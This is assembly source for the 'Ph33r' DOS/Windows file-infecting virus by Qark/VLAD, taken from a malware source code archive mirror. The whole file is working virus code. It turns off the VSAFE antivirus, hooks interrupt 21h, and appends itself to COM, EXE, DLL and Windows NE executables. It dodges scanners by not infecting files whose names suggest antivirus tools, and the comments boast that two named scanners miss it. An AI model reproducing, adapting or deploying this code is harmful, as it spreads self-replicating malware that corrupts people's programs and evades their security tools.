mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
829 lines
21 KiB
Plaintext
829 lines
21 KiB
Plaintext
;
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;
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; Ph33r
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;
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; Qark/VLAD
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;
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;
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;
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; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
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; files.
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; The technology of the Windows infection is superior to 'Winsurfer'
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; in that the virus goes directly resident, without having to mess around
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; infecting the Windows 'shell'. The Windows entry of the virus allocates
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; memory, points a selector to it, copies the virus into the space and
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; sets interrupt 21h to the resident virus. By careful programming it was
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; possible to make both the DOS and Win interrupt handlers share the same
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; code.
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;
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; The virus does a few interesting things:
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; Disables MSAV by turning it off (DOS)
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; Gets the original Int 21h using DOSSEG:109Eh (DOS)
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; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
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;
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; A few annoying things:
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; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
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; If the virus infects WIN386.EXE Windows crashes on load.
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; These have both been fixed, by removal.
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;
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; For some unknown reason, the virus causes Debug to crash on exit.
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; I haven't fixed this, because I figure anyone who uses Debug will spot
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; the virus anyway. Besides which, I haven't got a clue why it's happening :)
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;
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; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
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; heuristically.
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;
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org 0
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com_entry: ;COM files begin execution here.
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call exec_start
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push es
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pop ds
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;COM file exit.
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mov di,100h
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push di
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db 0b8h ;MOV AX,xxxx
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old2 dw 20cdh
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stosw
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db 0b8h ;MOV AX,xxxx
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old4 dw 0
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stosw
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xor ax,ax
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xor bx,bx
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xor cx,cx
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xor dx,dx
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xor si,si
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xor di,di
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ret
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exe_entry: ;EXE files begin execution here.
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call exec_start
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push es
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pop ds
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;Setup ss:sp
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mov ax,ds
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add ax,10h
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db 5 ;ADD AX,xxxx
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old_ss dw 0
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mov ss,ax
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db 0bch ;MOV SP,xxxx
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old_sp dw 0
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;setup the return
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mov ax,ds
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add ax,10h
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db 5 ;ADD AX,xxxx
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exe_cs dw 0
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push ax
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db 0b8h ;MOV AX,xxxx
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exe_ip dw 0
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push ax
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xor ax,ax
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xor bx,bx
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xor cx,cx
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xor dx,dx
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xor si,si
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xor di,di
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retf
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Exec_Start:
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cld
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mov ax,51ffh ;Test resident.
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int 21h
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cmp ax,0ff51h
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je exit_virus
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mov ax,0fa02h ;Kill VSAFE.
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mov dx,5945h ;Every DOS6+ user has a copy of this.
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xor bl,bl
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int 16h
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mov ax,ds
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dec ax
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mov ds,ax ;MCB seg in DS.
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xor di,di
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cmp byte ptr [di],'Y' ;Z block ?
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ja allocate
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exit_virus:
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ret
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allocate:
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sub word ptr [di+3],(offset virus_size*2/16)+1
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sub word ptr [di+12h],(offset virus_size*2/16)+1
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mov ax,word ptr [di+12h]
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push es
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mov es,ax
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push cs
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pop ds
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mov cx,offset virus_size
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;Get delta offset in SI
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call next
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next:
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pop si
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sub si,offset next
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;Move virus to free memory.
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rep movsb
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mov ds,cx ;DS=CX=0 from REP MOVSB
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;Set int21h
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mov si,21h*4
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mov di,offset i21
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push si
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movsw
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movsw
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pop si
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mov di,offset orig21
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movsw
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movsw
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mov word ptr [si-4],offset int21handler
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mov word ptr [si-2],es
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push es
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mov ah,52h ;Thanx Neurobasher!
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int 21h
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mov ax,es
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pop es
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mov ds,ax
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mov si,109eh ;DS:109Eh = Original Int 21 I hope.
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lodsw
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cmp ax,9090h
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jne reset21
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lodsb
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cmp al,0e8h
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jne reset21
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mov word ptr es:orig21,10a0h
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mov word ptr es:orig21+2,ds
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reset21:
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pop es
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ret
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db '=Ph33r='
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win21: ;Windows interrupt handling begins here.
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cmp ax,51feh
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jne non_w_res
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xchg al,ah
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iret
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non_w_res:
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cmp ax,4b00h ;Execute.
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je check_infect
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cmp ah,3dh ;File Open.
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je check_infect
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cmp ah,56h ;Rename.
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je check_infect
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cmp ah,43h ;Chmod.
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jne int_exit
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check_infect:
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pushf
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pusha
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push ds
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push es
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mov ax,0ah ;This function makes our CS writable.
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mov bx,cs
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int 31h
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mov es,ax
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call setup_infect
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pop es
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pop ds
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popa
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popf
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jmp int_exit
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int21handler: ;DOS interrupt handling begins here.
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cmp ax,51ffh
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jne non_res
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xchg al,ah
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iret
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db 'Qark/VLAD'
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non_res:
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;For some reason, checking for AH=3dh crashes windows when its booting.
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cmp ax,4b00h ;Execute.
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je do_file
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cmp ah,6ch ;Open.
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je do_file
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cmp ah,56h ;Rename.
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je do_file
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cmp ah,43h ;Chmod.
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je do_file
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int_exit:
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db 0eah
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i21 dd 0
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do_file:
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push es
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push dx
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cmp ah,6ch
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jne no_6c_fix
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mov dx,si
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no_6c_fix:
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push cs
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pop es
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call setup_infect
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pop dx
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pop es
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jmp int_exit
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setup_infect:
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;on entry to this call, es=writable cs
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;ds:dx=filename
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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cld
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mov si,dx
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asciiz:
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lodsb
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cmp al,0
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jne asciiz
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sub si,4
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lodsw
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or ax,2020h
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cmp ax,'xe' ;EXE
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je do_inf
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cmp ax,'ld' ;DLL
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je do_inf
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cmp ax,'oc' ;COM
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jne not_name
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do_inf:
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cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs)
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je not_name
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mov ax,word ptr [si-5]
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or ax,2020h ;Lowercase.
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cmp ax,'va' ;Don't touch files that end in AV
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je not_name ;eg TBAV
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cmp ax,'vd' ;DV.COM checks DV.EXE
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je not_name
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cmp ax,'na' ;Don't touch files that end in AN
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je not_name ;eg SCAN, TBSCAN
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cmp ax,'to' ;Don't touch files that end in OT
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je not_name ;eg F-PROT
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call infect
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not_name:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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ret
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Infect:
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;DS:DX=Filename, ES=our data segment
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cld
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mov ax,3d02h ;Open file to be infected.
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call int21h
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jnc file_opened
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ret
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file_opened:
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xchg bx,ax ;File handle into BX.
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push es
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pop ds
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mov ah,3fh ;Read from file.
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mov cx,512
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mov dx,offset virus_size
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call int21h
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mov si,offset virus_size
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mov ax,word ptr [si]
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or ax,2020h
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cmp ax,'zm' ;Test for EXE header
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je check_exe
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jmp com_infect
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check_exe:
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cmp word ptr [si+12h],0afafh ;Infection marker.
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jne not_infected
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bad_mem:
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jmp com_end
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not_infected:
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cmp word ptr [si+18h],40h ;Windows executable.
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jb exe_infect
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jmp windows_infect
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exe_infect:
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cmp word ptr [si+0ch],-1 ;Maxmem = All
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jne bad_mem
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call lseek_end ;Get file length in DX:AX
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or dx,dx
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jnz ok_exe_size
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cmp ax,1000
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jb bad_mem
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ok_exe_size:
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mov cx,512
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div cx
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inc ax
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cmp [si+4],ax ;Check for overlays.
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ja bad_mem
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mov ax,word ptr [si+0eh] ;Save the original SS:SP
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mov word ptr old_ss,ax
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mov ax,word ptr [si+10h]
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mov word ptr old_sp,ax
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mov ax,word ptr [si+14h] ;Save the original CS:IP
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mov word ptr exe_ip,ax
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mov ax,word ptr [si+16h]
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mov word ptr exe_cs,ax
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call lseek_end
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mov cx,16
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div cx
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sub ax,word ptr [si+8]
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add dx,offset exe_entry
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mov word ptr [si+14h],dx ;New IP
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mov word ptr [si+16h],ax ;New CS
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dec ax
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mov word ptr [si+0eh],ax
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add dx,1500
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and dx,0fffeh
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mov word ptr [si+10h],dx
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call save_time
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mov cx,offset virus_size
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mov ah,40h
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xor dx,dx
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call int21h
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call lseek_end
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mov cx,512
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div cx
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or dx,dx
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jz no_page_fix
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inc ax
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no_page_fix:
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mov word ptr [si+4],ax
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mov word ptr [si+2],dx
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call lseek_start
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mov word ptr [si+12h],0afafh ;Set infection marker.
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mov ah,40h
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mov dx,si
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mov cx,1ch
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call int21h
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call restore_time
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jmp com_end
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com_infect:
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cmp byte ptr [si+3],0afh ;Com infection marker.
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je com_end
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;Save first four com file bytes.
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mov di,offset old2
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movsw
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mov di,offset old4
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movsw
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mov ax,4202h ;Lseek to file end.
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xor cx,cx
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cwd
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call int21h
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or dx,dx ;Check if > 64k
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jnz com_end
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cmp ax,60000 ;Check if > 60000
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ja com_end
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cmp ax,1024
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jb com_end
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sub ax,3
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mov word ptr com_jmp+1,ax
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call save_time
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mov ah,40h ;Write virus body to file.
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mov cx,offset virus_size
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xor dx,dx
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call int21h
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jc com_end
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mov ax,4200h ;Lseek to file start.
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xor cx,cx
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cwd
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call int21h
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mov ah,40h ;Write jump to start of file.
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mov cx,4
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mov dx,offset com_jmp
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call int21h
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com_time_end:
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call restore_time
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com_end:
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mov ah,3eh ;Close file.
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call int21h
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ret
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windows_infect:
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;Move the Newexe pointer forward.
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push word ptr [si+3ch]
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pop word ptr newexe_off
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sub word ptr [si+3ch],8
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cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k
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jne com_end
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mov word ptr [si+12h],0afafh ;Set infection marker.
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;Lseek back to start of the file.
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mov ax,4200h
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xor cx,cx
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cwd
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call int21h
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call save_time
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;Write header back.
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mov ah,40h
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mov cx,512
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mov dx,offset virus_size
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call int21h
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jc com_end
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;Lseek to new exe header
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mov ax,4200h
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mov dx,word ptr newexe_off
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xor cx,cx
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call int21h
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;Read in new exe header
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mov ah,3fh
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mov cx,512
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mov dx,offset virus_size
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call int21h
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;Adjust header pointers
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mov ax,word ptr [si+22h] ;AX=Segment table offset.
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cmp word ptr [si+4],ax
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jb ok_et
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add word ptr [si+4],8
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ok_et:
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cmp word ptr [si+24h],ax
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jb ok_rt
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add word ptr [si+24h],8
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ok_rt:
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cmp word ptr [si+26h],ax
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jb ok_rnt
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add word ptr [si+26h],8
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ok_rnt:
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cmp word ptr [si+28h],ax
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jb ok_mrt
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add word ptr [si+28h],8
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ok_mrt:
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cmp word ptr [si+2ah],ax
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jb ok_int
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add word ptr [si+2ah],8
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ok_int:
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mov ax,word ptr [si+1ch]
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inc word ptr [si+1ch] ;Increase segment count.
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xor dx,dx
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mov cx,8
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mul cx
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add ax,word ptr [si+22h] ;AX=Offset of segment table end.
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adc dx,0
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mov cx,512 ;512 byte portions are used
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; for the reads later on.
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div cx
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mov word ptr ne_size,ax
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mov word ptr last_ne,dx
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;Put the original CS:IP into our relocation table.
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push word ptr [si+14h]
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pop word ptr old_ip
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push word ptr [si+16h]
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pop word ptr old_cs
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;Save the alignment shift count because we need that for calculating
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;the offset of our segment when writing the segment entry.
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push word ptr [si+32h]
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pop word ptr al_shift
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;Point CS:IP to the virus.
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mov word ptr [si+14h],offset win_entry ;The new IP
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mov ax,word ptr [si+1ch]
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mov word ptr [si+16h],ax ;The new CS
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;Initialise the lseek variable
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push word ptr newexe_off
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pop word ptr lseek
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;The below code gets the NE header and keeps moving it forward by
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;eight bytes in 512 byte chunks.
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move_header_forward:
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mov ax,word ptr ne_size
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or ax,ax
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jz last_page
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dec word ptr ne_size
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mov ax,4200h ;Lseek to our current position.
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xor cx,cx
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mov dx,word ptr lseek
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sub dx,8
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call int21h
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mov ah,40h ;Write the header section out.
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mov cx,512
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mov dx,si
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call int21h
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add word ptr lseek,512
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mov ax,4200h ;Lseek to the next chunk.
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xor cx,cx
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mov dx,word ptr lseek
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call int21h
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mov ah,3fh ;Read it.
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mov dx,offset virus_size
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mov cx,512
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call int21h
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jmp move_header_forward
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last_page:
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mov ax,4202h ;Lseek to end of file.
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xor cx,cx
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cwd
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call int21h ;File length into DX:AX
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;DX:AX=File offset of our segment
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;Below section shifts the segment offset right by the alignment
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;shift value.
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mov cl,byte ptr al_shift
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push bx
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mov bx,1
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shl bx,cl
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mov cx,bx
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pop bx
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div cx
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mov word ptr lseek_add,0
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or dx,dx
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jz no_extra
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sub cx,dx
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mov word ptr lseek_add,cx
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inc ax
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no_extra:
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mov di,si
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add di,word ptr last_ne
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;Adding the new segment table entry
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mov word ptr [di],ax ;Segment offset
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mov word ptr [di+2],offset virus_size
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mov word ptr [di+4],180h ;Segment attribute
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; 180h = NonMovable + Relocations
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mov word ptr [di+6],offset virus_size+512
|
|
|
|
mov ax,4200h ;Lseek to next position.
|
|
xor cx,cx
|
|
mov dx,word ptr lseek
|
|
sub dx,8
|
|
call int21h
|
|
|
|
mov ah,40h ;Write rest of NE header + new seg entry.
|
|
mov cx,word ptr last_ne
|
|
add cx,8 ;Added segment entry means eight more.
|
|
mov dx,offset virus_size
|
|
call int21h
|
|
|
|
;Reset the relocatable pointer.
|
|
push word ptr winip
|
|
push word ptr wincs
|
|
mov word ptr winip,0
|
|
mov word ptr wincs,0ffffh
|
|
|
|
mov ax,4202h ;Lseek to end of file.
|
|
xor cx,cx
|
|
mov dx,word ptr lseek_add
|
|
call int21h
|
|
|
|
mov ah,40h ;Write main virus body.
|
|
mov cx,offset virus_size
|
|
xor dx,dx
|
|
call int21h
|
|
|
|
pop word ptr wincs
|
|
pop word ptr winip
|
|
|
|
mov ah,40h ;Write the relocation item.
|
|
mov cx,offset reloc_end - offset relocblk
|
|
mov dx,offset relocblk
|
|
call int21h
|
|
|
|
jmp com_time_end
|
|
|
|
int21h: ;Simulated int 21 call.
|
|
pushf
|
|
call dword ptr cs:orig21
|
|
ret
|
|
orig21 dd 0
|
|
|
|
win_entry: ;WinEXE files begin execution here.
|
|
pusha
|
|
push ds
|
|
push es
|
|
|
|
mov ax,51feh ;Residency test.
|
|
int 21h
|
|
cmp ax,0ff51h
|
|
je no_wintsr
|
|
|
|
mov ax,000ah ;Make CS writable.
|
|
mov bx,cs
|
|
int 31h ;Use DPMI.
|
|
mov ds,ax
|
|
|
|
mov ax,0204h ;Get real mode interrupt vector.
|
|
mov bl,21h
|
|
int 31h
|
|
|
|
mov word ptr i21,dx ;Save int21
|
|
mov word ptr i21+2,cx
|
|
|
|
mov word ptr orig21,dx
|
|
mov word ptr orig21+2,cx
|
|
|
|
mov ax,501h
|
|
xor bx,bx ;Allocate Linear region
|
|
mov cx,offset v_mem_size
|
|
int 31h
|
|
|
|
push bx
|
|
push cx
|
|
|
|
xor ax,ax
|
|
mov cx,1 ;Create a Selector
|
|
int 31h
|
|
|
|
mov bx,ax
|
|
mov ax,7
|
|
pop dx ;Point selector to linear region.
|
|
pop cx
|
|
int 31h
|
|
|
|
mov ax,8
|
|
xor cx,cx ;Set selector limit
|
|
mov dx,offset v_mem_size
|
|
int 31h
|
|
|
|
mov es,bx
|
|
mov cx,offset v_mem_size
|
|
xor si,si ;Copy virus to the linear region
|
|
xor di,di
|
|
cld
|
|
rep movsb
|
|
|
|
mov bx,es
|
|
mov ax,9 ;Set access rights to 'Code'
|
|
mov cx,0ffh
|
|
int 31h
|
|
|
|
mov cx,es
|
|
mov dx,offset win21
|
|
mov ax,205h
|
|
mov bl,21h
|
|
int 31h ;Set real mode interrupt vector.
|
|
|
|
mov ax,4
|
|
push es
|
|
pop bx ;Lock the selector
|
|
int 31h
|
|
|
|
no_wintsr:
|
|
pop es
|
|
pop ds
|
|
popa
|
|
|
|
db 0eah ;Return to original file.
|
|
winip dw 0
|
|
wincs dw 0ffffh
|
|
|
|
;-----------------------
|
|
;Infection Procedures
|
|
;-----------------------
|
|
Save_Time:
|
|
push ax
|
|
push cx
|
|
push dx
|
|
|
|
mov ax,5700h
|
|
call int21h
|
|
|
|
mov word ptr time,cx
|
|
mov word ptr date,dx
|
|
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
ret
|
|
|
|
Restore_Time:
|
|
push ax
|
|
push cx
|
|
push dx
|
|
|
|
db 0bah ;MOV DX,xxxx
|
|
date dw 0
|
|
|
|
db 0b9h ;MOV CX,xxxx
|
|
time dw 0
|
|
|
|
mov ax,5701h
|
|
call int21h
|
|
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
ret
|
|
|
|
Lseek_Start:
|
|
mov al,0
|
|
jmp short lseek2
|
|
Lseek_End:
|
|
mov al,2
|
|
lseek2:
|
|
mov ah,42h
|
|
xor cx,cx
|
|
cwd
|
|
call int21h
|
|
ret
|
|
|
|
;-----------------------
|
|
;Infection Data
|
|
;-----------------------
|
|
;Com infection data.
|
|
com_jmp db 0e9h,0,0,0afh
|
|
|
|
;-----------------------
|
|
;Windows infection data.
|
|
newexe_off dw 0
|
|
al_shift dw 0
|
|
ne_size dw 0
|
|
last_ne dw 0
|
|
lseek dw 0
|
|
lseek_add dw 0
|
|
|
|
Relocblk:
|
|
dw 1 ;Number of relocation items
|
|
|
|
db 3 ;32bit pointer relocation
|
|
db 4 ;Additive relocation
|
|
dw offset winip
|
|
old_cs dw 0 ;The stored original CS & IP of host.
|
|
old_ip dw 0
|
|
|
|
|
|
Reloc_end:
|
|
;-----------------------
|
|
|
|
virus_size:
|
|
db 512 dup (0) ;Storage buffer.
|
|
v_mem_size:
|
|
|